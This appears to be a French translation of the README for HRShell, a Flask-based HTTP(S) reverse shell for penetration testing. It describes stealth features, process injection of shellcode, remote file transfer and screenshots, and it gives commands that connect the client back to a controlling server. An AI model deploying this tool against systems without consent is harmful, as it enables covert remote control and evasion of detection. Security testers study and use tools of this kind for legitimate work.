HRShell : Un shell inverse HTTP(S) avancé construit avec Flask

HRShell est un shell inverse HTTPS/HTTP construit avec flask et compatible avec python 3.x. Le client.py a été testé avec succès sur :

Linux ubuntu 18.04 LTS, Kali Linux 2019.3
macOS Mojave/Catalina
Windows 7/10

tandis que le server.py est compatible avec les systèmes Unix (support Windows bientôt...)

Fonctionnalités

Furtif
Support TLS 🔑
- Soit en utilisant des certificats à la volée ou
- En spécifiant une paire cert/key (plus de détails ci-dessous...)
Injection de shellcode 💉 (plus de détails ci-dessous...)
- Injection de shellcode dans un thread/processus dérivé du processus en cours
  - Plateformes supportées jusqu'à présent :
    - Windows x86
    - Unix x86
    - Unix x64
- ou injection de shellcode dans un autre processus (migrate <PID>) en spécifiant son PID
  - Plateformes supportées jusqu'à présent :
    - Windows x86
    - Windows x64
Le shellcode peut être défini/modifié à la volée depuis le serveur (plus de détails ci-dessous...)
Support du proxy côté client.
Navigation dans les répertoires (commande cd et variantes).
Commande interactive history disponible sur les systèmes Unix.
Commandes download/upload/screenshot/hex disponibles.
Support du pipelining (|) et des commandes chaînées (;)
Support de toutes les commandes non interactives (comme gdb, top, etc.)
Le serveur est compatible HTTP et HTTPS.
Livré avec deux serveurs intégrés 🌐 pour l'instant... flask intégré & tornado-WSGI tout en étant compatible avec d'autres serveurs de production comme et .

_{*Pour les changements de version, consultez le CHANGELOG.}

Détails

Furtif :shipit:

HRShell est furtif car il utilise le protocole HTTP(S) comme méthode de communication entre le client et le serveur. De plus, lorsque TLS est utilisé, le trafic est également chiffré. Aussi, si le CERT n'est pas codé en dur côté client (ce qui est une option possible) et que la commande upload n'est pas utilisée, alors client.py n'écrit rien sur le disque.

TLS 🔑

Côté serveur : Sauf si l'option --http est spécifiée, par défaut server.py est en HTTPS en utilisant des certificats à la volée, car les certificats à la volée sont une fonctionnalité intégrée de Flask. Mais si l'option -s tornado est spécifiée pour que le serveur utilise TLS, les options --cert et --key doivent être spécifiées comme ceci :

python server.py -s tornado --cert /chemin/cert.pem --key /chemin/key.pem

Des certificats "réels" peuvent être utilisés, ou une autre façon de générer une paire cert/key est par exemple en utilisant mkcert ou openssl directement comme ceci :

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

Une paire cert/key peut également être utilisée avec le serveur Flask :

python server.py --cert /chemin/cert.pem --key /chemin/key.pem

⚠️ Si le serveur utilise TLS, alors par conception le client ne peut pas utiliser http://... pour se connecter au serveur, mais doit explicitement utiliser https à la place.

Côté client : Par défaut, la vérification SSL du client est désactivée, sauf si :

soit le paramètre --cert est spécifié par exemple :

python client.py -s https://192.168.10.7:5000 --cert /chemin/cert.pem

soit la variable CERT, au lieu de la valeur par défaut None, est définie au préalable avec un certificat valide par exemple :

CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""

Dans ce cas, client.py tentera de créer un fichier caché .cert.pem à la volée et l'utilisera à la place.

⚠️ Le fait que la vérification SSL soit désactivée par défaut sur le client ne signifie en aucun cas que TLS est également désactivé, TLS sera activé si le serveur l'utilise - donc TLS dépend entièrement du serveur. L'option --cert côté client est simplement une autre manière pour que le serveur-client ait une session chiffrée, et c'est tout.

Injection de shellcode 💉

Il existe deux "modes" d'injection de shellcode, utilisant respectivement les deux commandes suivantes :

migrate <PID> : En utilisant cette commande, nous pouvons injecter un shellcode dans l'espace mémoire d'un autre processus en spécifiant son PID. Pour l'instant, cette commande ne peut être appliquée que sur les plateformes Windows x86/x64 !

inject shellcode : En utilisant cette commande, un nouveau thread (ou un processus dérivé sur les systèmes Unix) de notre processus actuel est créé et l'injection du shellcode se produit dans son espace mémoire. En conséquence, notre shell HTTP(S) n'est pas affecté par l'injection. Les plateformes où cette commande peut être appliquée sont : Unix x86/x64, Windows x86 !

Notes

Si l'injection se produit sur un processus, les permissions du processus jouent un rôle très important. Il n'est pas toujours possible d'injecter sur n'importe quel processus en raison d'un manque de privilèges appropriés.

Définir/Modifier le shellcode

Il y a deux façons de spécifier/définir le type de shellcode que vous voulez que le client exécute :

Soit pré-définir la variable shellcode dans le script client.py avec un shellcode valide, ou
Utiliser la commande set shellcode <shellcode-id> pour le faire à la volée. Avec cette commande, vous pouvez mettre à jour votre shellcode côté client à partir du côté serveur autant de fois que vous le souhaitez !

La première façon est assez simple. Cependant, pour utiliser la seconde manière plus pratique (car vous pouvez également modifier un shellcode déjà spécifié), vous devez configurer le script shellcodes/utils.py pour qu'il contienne le(s) shellcode(s) de votre choix. Le script contient un exemple de la façon de procéder.

💡 Vous pouvez modifier/mettre à jour le script shellcodes/utils.py même après avoir lancé server.py autant de fois que vous le souhaitez, car server.py utilisera dynamiquement la version la plus récente/récente. Ainsi, vous pouvez définir et modifier les shellcodes à la volée...

Commandes disponibles :

Commandes spéciales :

Toute autre commande est supportée si elle n'est pas interactive comme par exemple gdb, top, etc. De plus, en tapant python server.py -h ou python client.py -h, vous pouvez obtenir des informations sur les arguments disponibles du serveur et du client.

Note : Si un client est connecté au serveur et que nous voulons terminer le serveur, avant d'appuyer sur CTRL+C, nous devons fermer la connexion en utilisant la commande exit.

Créer des commandes personnalisées

Côté client :

Pour créer une commande personnalisée, généralement :

une règle regex décrivant la commande doit être définie côté client
le code pour gérer cette commande doit être ajouté comme une instruction elif également côté client.

Côté serveur :

Si la commande nécessite l'existence d'un nouveau point de terminaison côté serveur, alors :

pour définir le point de terminaison :

@app.route('/custom_endpoint/<arg>')
def custom_endpoint(arg):
    """
    documentation if needed
    """
    ...
    return ...

puis modifiez handleGET() pour rediriger le client vers ce point de terminaison :

@app.route('/')
def handleGET():
    ...
    return redirect(url_for('custom_endpoint',
        arg=...)
        )

effectuez les modifications appropriées dans handlePOST() pour gérer la présentation des résultats.

Arguments de script

Les deux scripts (server.py et client.py) peuvent être personnalisés via des arguments :

server.py

$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]

server.py: An HTTP(S) reverse-shell server with advanced features.

arguments:
  -h, --help      show this help message and exit
  -s , --server   Specify the HTTP(S) server to use (default: flask).
  -c , --client   Accept connections only from the specified client/IP.
  --host          Specify the IP to use (default: 0.0.0.0).
  -p , --port     Specify a port to use (default: 5000).
  --http          Disable TLS and use HTTP instead.
  --cert          Specify a certificate to use (default: None).
  --key           Specify the corresponding private key to use (default: None).

client.py

$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]

client.py: An HTTP(S) client with advanced features.

arguments:
  -h, --help      show this help message and exit
  -s , --server   Specify an HTTP(S) server to connect to.
  -c , --cert     Specify a certificate to use.
  -p , --proxy    Specify a proxy to use [form: host:port]

📦 Prérequis :

Pour installer les dépendances du serveur :

pip install -r requirements.txt --upgrade --user

📌 TODO

Ajouter plus de commandes et fonctionnalités.
Corriger les bugs potentiels.

💭 Contributions et Retours

Les retours et contributions sont les bienvenus. Si vous trouvez un bug ou avez une demande de fonctionnalité, n'hésitez pas à ouvrir une issue, et dès que je l'aurai examinée, j'essaierai de la corriger.

Avertissement

Cet outil est uniquement destiné à des fins de test et académiques et ne peut être utilisé que lorsqu'un consentement strict a été donné. Ne l'utilisez pas à des fins illégales ! Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables des abus ou dommages causés par cet outil et ce logiciel en général.

Crédits et Références

Seitz J. Gray Hat Python : Programmation Python pour les hackers et les ingénieurs inverse. no starch press ; 2009 Apr 15.
PyShellCode
Un excellent article trouvé ici.
La fonction hexdump du client provient de cet excellent gist.
Le logo HRShell est réalisé avec fontmeme.com !

Licence

Ce projet est sous licence GPLv3 - voir le fichier LICENSE pour plus de détails.

Populaires

HRShell